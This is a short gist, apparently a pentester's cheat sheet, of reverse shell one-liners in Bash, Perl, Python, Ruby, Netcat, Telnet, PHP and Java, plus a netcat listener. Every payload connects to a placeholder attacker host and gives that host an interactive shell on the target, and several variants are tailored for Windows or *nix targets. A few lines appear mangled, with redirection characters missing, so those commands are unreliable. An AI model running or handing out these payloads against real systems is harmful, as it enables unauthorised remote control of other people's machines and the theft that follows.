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@jcalabres
Created November 21, 2019 11:48
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Reverse Shell One Liners
nc -nvlp 4444
#Bash
exec /bin/bash 0&0 2>&0
0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196
exec 5<>/dev/tcp/attackerip/4444
cat <&5 | while read line; do $line 2>&5 >&5; done # or:
while read line 0<&5; do $line 2>&5 >&5; done
bash -i >& /dev/tcp/attackerip/4444 0>&1
#Perl
//Does not depend on /bin/sh
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
//Windows target
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
//Could try this one also. (*nix /bin/sh)
perl -e 'use Socket;$i="attackerip";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
#Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attackerip",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
#Ruby
//Does not depend on /bin/sh
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
//Windows Target
ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
//*nix /bin/sh
ruby -rsocket -e'f=TCPSocket.open("attackerip",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
#Netcat
nc attackerip 4444 -e /bin/sh
/bin/sh | nc attackerip 4444
rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4444 0/tmp/p
#Telnet
rm -f /tmp/p; mknod /tmp/p p && telnet attackerip 4444 0/tmp/p
Or:
telnet attackerip 4444 | /bin/bash | telnet attackerip 4445
# Setup listener on attcker machine on port 4445/tcp
#PHP
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
# This code assumes that the TCP connection uses file descriptor 3.
# If it doesn’t work, try 4, 5, 6…
#Java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
by ub3rsec
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